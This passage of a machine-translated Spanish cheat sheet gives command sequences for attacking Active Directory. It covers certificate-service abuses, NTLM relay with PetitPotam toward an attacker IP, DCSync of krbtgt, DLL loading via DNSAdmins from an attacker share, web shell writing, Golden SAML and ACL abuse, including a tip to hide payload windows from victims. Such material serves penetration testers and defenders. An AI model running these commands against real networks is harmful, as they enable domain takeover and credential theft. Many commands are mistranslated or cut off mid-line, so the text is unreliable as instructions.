
> Habilitar el indicador mspki-certificate-name-flag para una plantilla que permite la autenticación de dominio permite a los atacantes "impulsar una configuración incorrecta en una plantilla que conduce a la vulnerabilidad ESC1".

- Busque WriteProperty con el valor 00000000-0000-0000-0000-000000000000 usando modificarCertTemplate

  python3 modificarCertTemplate.py dominio.local/usuario -k -no-pass -usuario de plantilla -dc-

- Agregue el indicador ENROLLEE_SUPPLIES_SUBJECT (ESS) para realizar ESC1

  python3 modificarCertTemplate.py dominio.local/usuario -k -no-pass -usuario de plantilla -dc-

  # Agregar/eliminar el indicador ENROLLEE_SUPPLIES_SUBJECT de la plantilla del servidor web.
  C:\>StandIn.exe --adcs --filter WebServer --ess --add

- Realice ESC1 y luego restaure el valor

```
python3 modificarCertTemplate.py dominio.local/usuario -k -no-pass -usuario de plantilla -dc-
```

Usando Certipy

```
# sobrescribir la configuración para hacerla vulnerable a la plantilla de certificado
ESC1 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba # solicitar un certificado basado en la
plantilla ESC4 , al igual que ESC1. certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca
'corp-CA' -template 'ESC4' # restaurar la configuración anterior plantilla de certipy 'corp.local/johnpc$@ca.corp.local
' -hashes:fc525c9683e8fe067095ba
```

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

> Si este indicador está configurado en la CA, cualquier solicitud (incluso cuando el asunto se crea desde Active Directory) puede tener valores definidos por el usuario en el nombre alternativo del sujeto.

Explotación

- Utilice Certify.exe para comprobar el estado del indicador UserSpecifiedSAN que hace referencia al indicador EDITF_ATTRIBUTESUBJECTALTNAME2 .

```
Certify.exe cas
```

- Solicite un certificado para una plantilla y agregue un nombre alternativo, aunque la plantilla de usuario predeterminada normalmente no permite especificar nombres alternativos.

```
.\Certify.exe solicitud /ca:dc.domain.local\domain-DC-CA /template:Usuario /altname:D
```

Mitigación

- Elimine la bandera: certutil.exe -config "CA01.domain.local\CA01" -setreg "política\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Control de acceso de autoridad de certificación vulnerable

Explotación

- Detectar CA que permiten a usuarios con pocos privilegios los permisos ManageCA o Manage Certificates

```
Certify.exe encuentra /vulnerable
```

- Cambie la configuración de CA para habilitar la extensión SAN para todas las plantillas bajo la CA vulnerable (ESC6)

  ```
  Certify.exe setconfig /enablesan /restart
  ```

- Solicite el certificado con la SAN deseada.

  ```
  Solicitud de Certify.exe /plantilla:Usuario /altname:super.adm
  ```

- Conceder aprobación si es necesario o desactivar el requisito de aprobación

  ```
  #
  Problema de Grant Certify.exe /id:[ID DE SOLICITUD]
  # Deshabilitar
  Certify.exe setconfig /removeapproval /restart
  ```

Explotación alternativa de ManageCA a RCE en el servidor ADCS:

```
# Obtenga la lista CDP actual . Útil para encontrar recursos compartidos grabables remotos:
Archivo de escritura Certify.exe /ca:SERVIDOR\ca-name /solo lectura

# Escriba un shell aspx en un directorio web local: archivo de
escritura Certify.exe /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\

# Escriba el shell ASP predeterminado en un directorio web local: archivo
de escritura Certify.exe /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Escribir un shell php en un directorio web remoto: Certify.exe
writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /inp
```

ESC8 - Ataque de retransmisión AD CS

> Un atacante puede activar un controlador de dominio utilizando PetitPotam para transmitir credenciales NTLM a un host de su elección. Luego, las credenciales NTLM del controlador de dominio se pueden transmitir a las páginas de inscripción web de Servicios de certificados de Active Directory (AD CS) y se puede inscribir un certificado DC. Este certificado luego se puede utilizar para solicitar un TGT (Ticket Granting Ticket) y comprometer todo el dominio a través de Pass-The-Ticket.

Requerir Impacto PR #1101

- Versión 1: Relé NTLM + Rojo + PetitPotam

impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2 impacket> python3 ./examples/ntlmrelayx.py -t https://tinyurl.com/29mgdjk7 -smb2 # Para un servidor miembro o una estación de trabajo, la plantilla sería "Computadora".
Otras plantillas: estación de trabajo, DomainController, Máquina, KerberosAuthenticatio

Forzar la autenticación a través de la función MS-ESFRPC EfsRpcOpenFileRaw con petitp # También puede utilizar cualquier otra forma de forzar la autenticación como PrintSpooler git clone https://tinyurl.com/22r4qcs7

python3 petitpotam.py -d $DOMINIO -u $USUARIO -p $CONTRASEÑA $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d $ATTACKER_IP $TARGET_IP
python3 dementor.py <oyente> <destino> -u <nombre de usuario> -p <contraseña> -d <dominio>
python3 dementor.py 10.10.10.250 10.10.10.10 -u usuario1 -p Contraseña1 -d lab.local

Usa el certificado con rubeus para solicitar un TGT
Rubeus.exe Asktgt /usuario:<usuario> /certificado:<certificado-base64> /ptt
Rubeus.exe Asktgt /usuario:dc1$ /certificado:MIIRdQIBAzC...mUUXS /ptt

Ahora puedes usar el TGT para realizar una DCSync
mimikatz> lsadump::dcsync /usuario:krbtgt

- Versión 2: Relé NTLM + Mimikatz + Kekeo

impacket> python3 ./examples/ntlmrelayx.py -t https://tinyurl.com/29mgdjk7 -smb2

#mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

Negro
kekeo> base64 /entrada:activada
kekeo> tgt::preguntar /pfx:<BASE64-CERT-FROM-NTLMRELAY> /usuario:dc$ /dominio:lab.local /p

#mimikatz
mimikatz> lsadump::dcsync /usuario:krbtgt

- Versión 3: Retransmisión Kerberos

# Configurar el relé
sudo krbrelayx.py --target https://tinyurl.com/2c2cf4fe -ip attacker_IP --victi

# Ejecute mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay C

- Versión 4: ADCSPwn: requiere que el servicio WebClient se ejecute en el controlador de dominio. Por
Por defecto este servicio no está instalado.

https://tinyurl.com/2bqqh3vo
adcspwn.exe --adcs <servidor cs> --port [puerto local] --remote [computadora]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remoto dc.pwnlab.local --puerto 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --salida C:\Temp\ce
adcspwn.exe --adcs cs.pwnlab.local --remoto dc.pwnlab.local --nombre de usuario pwnlab.lo

argumentos ADCSPwn

anuncios	-	Esta es la dirección del servidor AD CS que autentica
seguro	-	Utilice HTTPS con el servicio de certificados.
	-	El puerto en el que escuchará ADCSPwn.
puerto remoto	-	Máquina remota desde la que activar la autenticación.
nombre de usuario	-	Nombre de usuario para contexto que no es de dominio.
contraseña	-	Contraseña para contexto que no es de dominio.
dc	-	Controlador de dominio para consultar plantillas de certificado (LD
tío	-	Establezca una ruta de devolución de llamada UNC personalizada para
producción	-	EfsRpcOpenFileRaw (ruta de salida de Pet para almacenar crt generado en base64.

- Versión 5: Certipy ESC8

relé de certificación -ca 172.16.19.100

ESC9 - Sin extensión de seguridad

Requisitos

- StrongCertificateBindingEnforcement establecido en 1 (predeterminado) o 0
- El certificado contiene el indicador CT_FLAG_NO_SECURITY_EXTENSION en msPKI-Enrollment-Valor de la bandera
- El certificado especifica la autenticación EKU de cualquier cliente.
- GenericWrite sobre cualquier cuenta A para comprometer cualquier cuenta B

Guión

John@corp.local tiene GenericWrite sobre Jane@corp.local y queremos comprometernos Administrador@corp.local. Jane@corp.local puede inscribirse en la plantilla de certificado ESC9 que especifica el indicador CT_FLAG_NO_SECURITY_EXTENSION en msPKI-Enrollment-Flag valor.

- Obtenga el hash de Jane con Shadow Credentials (usando nuestro GenericWrite)

certipy shadow auto -nombre de usuario John@corp.local -p Contraseña -cuenta Jane

- Cambie el nombre principal de usuario de Jane para que sea Administrador. :advertencia: deje el @ corp.parte local

  actualización de cuenta certificada -nombre de usuario John@corp.local -contraseña Contraseña0rd -usuario Jane

- Solicite la plantilla de certificado vulnerable ESC9 de la cuenta de Jane.

  certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9 # userPrincipalName en el certificado es Administrador # el certificado emitido no contiene ningún "SID de objeto"

- Restaure el nombre principal de usuario de Jane a Jane@corp.local.

  actualización de cuenta certificada -nombre de usuario John@corp.local -contraseña Passw0rd -usuario Jane@c

- Autenticarse con el certificado y recibir el hash NT del Administrator@corp.local usuario.

  certipy auth -pfx administrador.pfx -domain corp.local # Agregue -domain <dominio> a su línea de comando ya que no hay ningún dominio especificado

ESC11 - Transmitiendo NTLM a ICPR

> El cifrado no se aplica a las solicitudes ICPR y la Disposición de la solicitud está configurada como Emitir

Requisitos:

- sploutchy/Certipy - Tenedor Certipy
- sploutchy/impacket - Horquilla Impacket

Explotación:

1. Busque Enforce Encryption para solicitudes: deshabilitado en certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout output
2. Configure un relé utilizando Impacket ntlmrelay y active una conexión con él.

   ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2s

Certificado CVE-2022-26923

> Un usuario autenticado podría manipular los atributos de las cuentas de computadora que posee o administra y adquirir un certificado de los Servicios de certificados de Active Directory que permitiría la elevación de privilegios.

- Encuentre ms-DS-MachineAccountQuota

  python bloodyAD.py -d lab.local -u nombre de usuario -p 'Contraseña123*' --host 10.10.10.10

- Agregue una nueva computadora en Active Directory, de forma predeterminada MachineAccountQuota = 10

  python bloodyAD.py -d lab.local -u nombre de usuario -p 'Contraseña123*' --host 10.10.10.10 cuenta certipy crear 'lab.local/nombre de usuario:Contraseña123*@dc.lab.local' -usuario 'cv

- [ALTERNATIVA] Si eres SISTEMA y MachineAccountQuota=0 : Utiliza un ticket para el máquina actual y restablecer su SPN

  Rubeus.exe tgtdeleg export
  KRB5CCNAME=/tmp/ws02.ccache python
  bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN

- Establezca el atributo dNSHostName para que coincida con el nombre de host del controlador de dominio

  python bloodyAD.py -d lab.local -u nombre de usuario -p 'Contraseña123*' --host 10.10.10.10 python bloodyAD.py -d lab.local -u nombre de usuario -p 'Contraseña123*' --host 10.10.10.10

- Solicitar un billete

  # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc

- Utilice pfx o configure un RBCD en su cuenta de máquina para hacerse cargo del dominio

  autenticación de certificación -pfx ./dc.pfx -dc-ip 10.10.10.10

  openssl pkcs12 -in dc.pfx -out dc.pem -nodes python
  bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRb getST.py -spn LDAP /CRASHDC.lab.local -suplantar administrador -dc-ip 10.10.10. secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Admin

Pasar el certificado

> Pasar el Certificado para poder obtener un TGT, esta técnica se utiliza en "UnPAC the Hash" y "Credencial de la Sombra"

- ventanas

  # Información sobre un archivo de certificado

```
certutil -v -dump admin.pfx

# Desde Base64 PFX
Rubeus.exe Asktgt /usuario:"TARGET_SAMNAME" /certificate:cert.pfx /contraseña:"CERTIF

# Otorgar derechos de DCSync a un usuario ./
PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --t # Para restaurar

./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --t
```

- linux

```
# Certificado PFX codificado en Base64 (cadena) (se puede configurar la contraseña)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_S

# Certificado PEM (archivo) + clave privada PEM (archivo)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_D

# Certificado PFX (archivo) + contraseña (cadena, opcional) gettgtpkinit.py
-cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOM

# Usando Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'do certipy cert -export -pfx
"PATH_TO_PFX_CERT" -contraseña "CERT_PASSWORD" -out "unp
```

UnPAC el hash

Utilizando el método UnPAC The Hash, puede recuperar el NT Hash de un usuario a través de su certificado.

- ventanas

```
# Solicite un ticket usando un certificado y use /getcredentials para recuperar N Rubeus.exe asktgt /
getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CE
```

- linux

```
# Obtener un TGT validando una autenticación previa PKINIT $ gettgtpkinit.py
-cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWO

# Utilice la clave de sesión para recuperar el hash NT $
export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'Clave de cifrado AS-REP'
```

Credenciales en la sombra

> Agregue credenciales clave al atributo msDS-KeyCredentialLink del objetivo objeto usuario/computadora y luego realizar la autenticación Kerberos como esa cuenta usando PKINIT para obtener un TGT para ese usuario. Al intentar realizar una autenticación previa con PKINIT, el KDC comprobará que el usuario que se autentica tenga conocimiento de la clave privada coincidente, y un Se enviará TGT si hay una coincidencia.

:advertencia: Los objetos de usuario no pueden editar su propio atributo msDS-KeyCredentialLink mientras la computadora los objetos pueden. Los objetos de computadora pueden editar su propio atributo msDS-KeyCredentialLink pero pueden solo agregue una KeyCredential si ya no existe ninguna

Requisitos:

- Controlador de dominio en (al menos) Windows Server 2016
- El dominio debe tener servicios de certificación de Active Directory y autoridad de certificación configurado
- Autenticación PKINIT Kerberos
- Una cuenta con derechos delegados para escribir en el atributo msDS-KeyCredentialLink de el objeto objetivo

Explotación:

- Desde Windows, use Whisker:

```
# Enumera todas las entradas del atributo msDS-KeyCredentialLink del objetivo o
Lista de Whisker.exe /objetivo:nombredecomputadora$
# Genera un par de claves pública-privada y agrega una nueva credencial de clave al targ Whisker.exe add /
target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONT
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.lo # Elimina una credencial clave del
objeto de destino especificado por un GUID de ID de dispositivo.
Whisker.exe elimina /target:computername$ /domain:constoso.local /dc:dc1.contoso.
```

- Desde Linux, use pyWhisker:

```
# Enumera todas las entradas del atributo msDS-KeyCredentialLink del objetivo o
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target # Genera un par de claves pública-
privada y agrega una nueva credencial de clave al objetivo pywhisker.py -d "FQDN_DOMAIN" - u "usuario1" -p
"CERTIFICADO_CONTRASEÑA" --objetivo "TA
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target # Elimina una credencial clave del
objeto de destino especificado por un GUID de ID de dispositivo.
python3 pywhisker.py -d "dominio.local" -u "usuario1" -p "contraseña compleja" --target
```

Guión:

- Escenario 1: retransmisión de credenciales en la sombra
  - Activar una autenticación NTLM desde DC01 (PetitPotam)
  - Transmítalo a DC02 (ntlmrelayx)
  - Edite el atributo DC01 para crear una puerta trasera de autenticación previa Kerberos PKINIT (bigotes)
  - Alternativamente: ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
- Escenario 2: Adquisición de estaciones de trabajo con RBCD

```
# Solo para C2: agregue reenvío de puerto inverso desde 8081 a Team Server 81

# Configure ntlmrelayx para transmitir la autenticación desde la estación de trabajo de destino a las cadenas proxy de DC python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --s

# Ejecutar error de impresora para activar la autenticación desde las cadenas proxy de la estación de trabajo de destino python3 printbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/

# Obtenga un TGT utilizando el certificado recién adquirido a través de PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impac

# Obtener un ST (ticket de servicio) para las cadenas proxy de la
cuenta de destino python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@d

# Utilizar el ST para exportar actividades futuras
KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
cadenas proxy python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
```

Grupos de Directorio Activo

Uso peligroso de grupos integrados

Si no desea que las ACL modificadas se sobrescriban cada hora, debe cambiar la plantilla de ACL en el objeto CN=AdminSDHolder,CN=System o establezca el " atributo dminCount en 0 para el objeto requerido.

> El atributo AdminCount se establece en 1 automáticamente cuando se asigna un usuario a cualquier grupo privilegiado, pero nunca se desactiva automáticamente cuando el usuario es eliminado de estos grupo(s).

Encuentre usuarios con AdminCount=1 .

```
crackmapexec ldap 10.10.10.10 -u nombre de usuario -p contraseña --admin-count # o

python ldapdomaindump.py -u ejemplo.com\john -p pass123 -d ';' 10.10.10.10 jq -r '.[].atributos |
seleccionar(.adminCount == [1]) | .sAMAccountName[]' usuario_dominio # o

Get-ADUser -LDAPFilter "(objectcategory=persona)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" # o

([adsisearcher]"(AdminCount=1)").findall()
```

Abuso del titular de AdminSD

> La Lista de control de acceso (ACL) del objeto AdminSDHolder se utiliza como plantilla para copiar permisos a todos los "grupos protegidos" en Active Directory y sus miembros. Los grupos protegidos incluyen grupos privilegiados, como administradores de dominio, administradores, administradores de empresa y administradores de esquema.

Si modifica los permisos de AdminSDHolder, SDProp enviará automáticamente esa plantilla de permiso a todas las cuentas protegidas (en una hora). Por ejemplo: si alguien intenta eliminar a este usuario de los administradores de dominio en una hora o menos, el usuario volverá al grupo.

```
# Agregar un usuario al grupo AdminSDHolder:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=Sistema,DC=dominio,DC=local'

# Derecho a restablecer la contraseña de toto usando la cuenta titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights Rese

# Dar todos los derechos
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=Sistema' -PrincipalSamAccountNam
```

Abusar del grupo de administradores de DNS

> Es posible que los miembros del grupo DNSAdmins carguen DLL arbitrarias con los privilegios de dns.exe (SISTEMA).

:advertencia: Requiere privilegios para reiniciar el servicio DNS.

- Enumerar los miembros del grupo DNSAdmins

  ```
  Get-NetGroupMember -GroupName "DNSAdmins"
  Get-ADGroupMember -Identidad DNSAdmins
  ```

- Cambiar dll cargado por el servicio DNS

```
# con RSAT
dnscmd <nombre del servidor> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll dnscmd 10.10.10.11 /
config /serverlevelplugindll \\10.10.10.10\exploit\privesc.d

# con módulo DNSServer
$dnsettings = Get-DnsServerSetting -ComputerName <nombre del servidor> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <nombre del servidor> -Verbos
```

- Verifique el éxito del comando anterior

```
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Nombre S
```

- Reiniciar DNS

```
sc \\dc01 detener dns sc
\\dc01 iniciar dns
```

Abusar del grupo de administradores de esquemas

> El grupo Administradores de esquema es un grupo de seguridad en Microsoft Active Directory que brinda a sus miembros la capacidad de realizar cambios en el esquema de un bosque de Active Directory.
> El esquema define la estructura de la base de datos de Active Directory, incluidos los atributos y clases de objetos que se utilizan para almacenar información sobre usuarios, grupos, computadoras y otros objetos en el directorio.

Abusar del grupo de operadores de respaldo

> Los miembros del grupo Operadores de respaldo pueden realizar copias de seguridad y restaurar todos los archivos en una computadora, independientemente de los permisos que protegen esos archivos. Los operadores de respaldo también pueden iniciar sesión y apagar la computadora. Este grupo no se puede cambiar de nombre, eliminar ni mover. De forma predeterminada, este grupo integrado no tiene miembros y puede realizar operaciones de copia de seguridad y restauración en controladores de dominio.

Este grupo otorga los siguientes privilegios:

- Privilegios de SeBackup
- SeRestaurar privilegios

- Consigue miembros del grupo:

```
PowerView> Get-NetGroupMember -Identidad "Operadores de respaldo" -Recurse
```

- Habilite privilegios usando giuliano108/SeBackupPrivilege

  Módulo de importación .\SeBackupPrivilegeUtils.dll
  Módulo de importación .\SeBackupPrivilegeCmdLets.dll

  Establecer privilegios de copia de seguridad
  Privilegio Get-SeBackup

- Recuperar archivos confidenciales

  Copiar-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.

- Recuperar el contenido de AutoLogon en la colmena HKLM\SOFTWARE

  $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb. $winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlog $winlogon.GetValueName | foreach {"$_ : $(($winlogon).GetValue($_))"}

- Recuperar colmenas SAM, SEGURIDAD y SISTEMA
  - mpgn/BackupOperatorToDA: .\BackupOperatorToDA.exe -t \\dc1.lab.local -u usuario -p pasar -d dominio -o \\10.10.10.10\SHARE\
  - improsec/BackupOperatorToolkit: .\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK

Servicios de federación de Active Directory

ADFS - SAML dorado

Requisitos:

- cuenta de servicio ADFS
- La clave privada (PFX con la contraseña de descifrado)

Explotación:

- Ejecute mandiant/ADFSDump en el servidor AD FS como cuenta de servicio AD FS. Consultará la base de datos interna de Windows (WID): \\.\pipe\MICROSOFT##WID\tsql\query
- Convierta PFX y clave privada a formato binario

  # Para el eco pfx
  AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin # Para la clave privada echo
  f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin

- Cree el Golden SAML usando mandiant/ADFSpoof; es posible que necesite actualizar las dependencias.

```
mkdir ADFSpoofTools cd
$_ git
clone https://tinyurl.com/288gz2k2 git clone https://
tinyurl.com/2b239rsq virtualenv3 venvADFSSpoof
fuente venvADFSSpoof/bin/activate
pip install lxml pip install signxml pip uninstall
-y criptografía cd
criptografía pip install -e.
cd ../ADFSpoof pip install -r requisitos.txt
python ADFSpoof.py
-b EncryptedPfx.bin
DkmKey.bin -s
adfs.pentest.lab saml2 --en /
SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML: 2.0: formato nameid:t
```

Otras herramientas interesantes para explotar AD FS:

- WhiskySAML

DNS integrado de Active Directory

La zona ADIDNS DACL (Lista de control de acceso discrecional) permite a los usuarios habituales crear objetos secundarios de forma predeterminada, los atacantes pueden aprovechar eso y secuestrar el tráfico. Active Directory necesitará algo de tiempo (~180 segundos) para sincronizar los cambios de LDAP a través de su protocolo de actualizaciones dinámicas DNS.

- Enumerar todos los registros usando dirkjanm/adidnsdump

```
adidnsdump -u DOMINIO\\usuario --print-zones dc.dominio.corp (--dns-tcp)
```

- Consultar un nodo usando dirkjanm/krbrelayx

```
dnstool.py -u 'DOMINIO\usuario' -p 'contraseña' --record '*' --acción consulta $DomainCon
```

- Agregar un nodo y adjuntar un registro

```
dnstool.py -u 'DOMINIO\usuario' -p 'contraseña' --record '*' --action add --data $Atta
```

La forma común de abusar de ADIDNS es establecer un registro comodín y luego escuchar pasivamente el red.

```
Invocar-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,comodín -ADIDNSTreshold 3 -LLMNR
```

Abusar de las ACL/ACE de Active Directory

Verifique ACL para un usuario con ADACLScanner.

```
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filtro "(&(AdminCount=1))" -Subárbol de alcance
```

GenéricoTodo

- GenericAll on User: podemos restablecer la contraseña del usuario sin conocer la contraseña actual
- GenericAll on Group: Efectivamente, esto nos permite agregarnos a nosotros mismos (el usuario hacker) al Grupo de administración de dominio:
  - En Windows: hacker /add/domain del grupo de red "administradores de dominio"
  - En Linux:
    - usando el paquete de software Samba: net rpc group ADDMEM "NOMBRE DEL GRUPO" UserToAdd -U 'hacker%MyPassword123' -W DOMINIO -I [DC IP]
    - usando bloodyAD: bloodyAD.py --host [DC IP] -d DOMINIO -u hacker -p MiContraseña123 addObjectToGroup UserToAdd 'NOMBRE DEL GRUPO'
- GenericAll/GenericWrite: podemos configurar un SPN en una cuenta de destino, solicitar un ticket de servicio (ST), luego tomar su hash y realizar un kerberoast.

```
# Verifique permisos interesantes en las cuentas: Invoke-ACLScanner
-ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"

# Compruebe si el usuario actual ya tiene un SPN configurado:
PowerView2 > Get-DomainUser -Identity <Nombre de usuario> | seleccione el nombre principal del servicio

# Forzar el establecimiento del SPN en la cuenta: Kerberoasting dirigido
PowerView2 > Set-DomainObject <Nombre de usuario> -Set @{serviceprincipalname='ops/whate
PowerView3 > Set-DomainObject -Identity <Nombre de usuario> -Set @{serviceprincipalname=

# Coge el billete
PowerView2 > $Usuario = Get-DomainUser nombre de usuario
PowerView2 > $Usuario | Obtener-DominioSPNTicket | Florida
PowerView2 > $Usuario | Seleccione el nombre principal del servicio

# Eliminar el SPN
```

```
PowerView2 > Establecer-DominioObjeto -Identidad nombre de usuario -Borrar nombre principal del servicio
```

- GenericAll/GenericWrite: Podemos cambiar el userAccountControl de una víctima para que no requiera Autenticación previa de Kerberos, tome el AS-REP descifrable del usuario y luego cambie la configuración atrás.
  - En Windows:

```
# Modificar el control de cuenta de usuario
PowerView2 > Obtener-nombre de usuario de DomainUser | ConvertirDe-UACValue
PowerView2 > Set-DomainObject -Identidad nombre de usuario -XOR @{useraccountcontrol=41943

# Coge el billete
PowerView2 > Obtener-nombre de usuario de DomainUser | ConvertirDe-UACValue
ASREPRast > Get-ASREPHash -Dominio dominio.local -Nombre de usuario nombre de usuario

# Restablecer el userAccountControl
PowerView2 > Set-DomainObject -Identidad nombre de usuario -XOR @{useraccountcontrol=41943
PowerView2 > Obtener-nombre de usuario de DomainUser | ConvertirDe-UACValue
```

  - En Linux:

```
# Modificar el control de cuenta de usuario
$ bloodyAD.py --host [DC IP] -d [DOMINIO] -u [Usuario atacante] -p [Mi contraseña] establecerUs

# Coge el billete
$ GetNPUsers.py DOMINIO/usuario_destino -formato <AS_REP_responses_format [hashcat | j

# Restablecer el userAccountControl
$ bloodyAD.py --host [DC IP] -d [DOMINIO] -u [Usuario atacante] -p [Mi contraseña] establecerUs
```

Escritura genérica

- Restablecer la contraseña de otro usuario
  - En Windows:

```
# https://tinyurl.com/23qt93s8
$usuario = 'DOMINIO\usuario1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; $creds = Nuevo-Objeto
System.Management.Automation.PSCredential $usuario, $pass
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; Set-DomainUserPassword
-Identidad 'DOMINIO\usuario2' -AccountPassword $newpass -C
```

  - En Linux:

```
# Usando rpcclient del paquete de software Samba rpcclient -U
'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_u

# Usando bloodyAD con pass-the-hash
bloodyAD.py --host [DC IP] -d DOMINIO -u usuario_atacante -p :B4B9B02E6F09A9BD76
```

- WriteProperty en un ObjectType, que en este caso particular es Script-Path, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegado, lo que significa que la próxima vez, cuando el usuario delegado inicie sesión, su sistema ejecutará nuestro script malicioso. : Set-ADObject -SamAccountName delegado -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1

GenericWrite y Administrador de conexión remota

> Ahora digamos que está en un entorno de Active Directory que todavía usa activamente una versión de Windows Server que tiene RCM habilitado, o que puede habilitar RCM en un RDSH comprometido, ¿qué podemos hacer realmente? Bueno, cada objeto de usuario en Active Directory tiene una pestaña llamada "Entorno".
>
> Esta pestaña incluye configuraciones que, entre otras cosas, se pueden usar para cambiar qué programa se inicia cuando un usuario se conecta a través del Protocolo de escritorio remoto (RDP) a un TS/RDSH en lugar del entorno gráfico normal. La configuración en el campo 'Programa de inicio' funciona básicamente como un acceso directo de Windows, lo que le permite proporcionar una ruta local o remota (UNC) a un ejecutable que se iniciará al conectarse al host remoto.
> Durante el proceso de inicio de sesión, el proceso RCM consultará estos valores y ejecutará cualquier ejecutable que esté definido. - https://tinyurl.com/2d6rz79q

:advertencia: RCM sólo está activo en servidores de terminales/hosts de sesión de escritorio remoto. El RCM también se deshabilitó en la versión reciente de Windows (>2016); requiere un cambio en el registro para volver a habilitarlo.

```
$UserObject = ([ADSI]("LDAP://CN=Usuario,OU=Usuarios,DC=ad,DC=dominio,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTA: Para no alertar al usuario, la carga útil debe ocultar su propia ventana de proceso y generar el entorno gráfico normal.

EscribirDACL

Para abusar de WriteDacl en un objeto de dominio, puede otorgarse los privilegios de DcSync. Es

Es posible agregar cualquier cuenta determinada como socio de replicación del dominio aplicando los siguientes derechos extendidos: Replicar cambios de directorio/Replicar todos los cambios de directorio.

Invoke-ACLPwn es una herramienta que automatiza el descubrimiento y eliminación de ACL en Active Directory que no están configuradas de forma segura: ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'dominio.local' -Contraseña '¡Bienvenido01!'

- EscribirDACL en el dominio:
  - En Windows:

```
# Otorgue a DCSync el derecho a la identidad principal Import-Module .
\PowerView.ps1 $SecPassword = ConvertTo-
SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object
System.Management.Automation.PSCredential('DOMAIN.LOCAL\u Add -DomainObjectAcl -Credential $Cred -TargetIdentit
'DC=dominio,DC=local'
```

  - En Linux:

```
# Otorgue a DCSync el derecho a la identidad principal bloodyAD.py --
host [IP de DC] -d DOMINIO -u usuario_atacante -p :B4B9B02E6F09A9BD760F38

# Eliminar justo después de DCSync
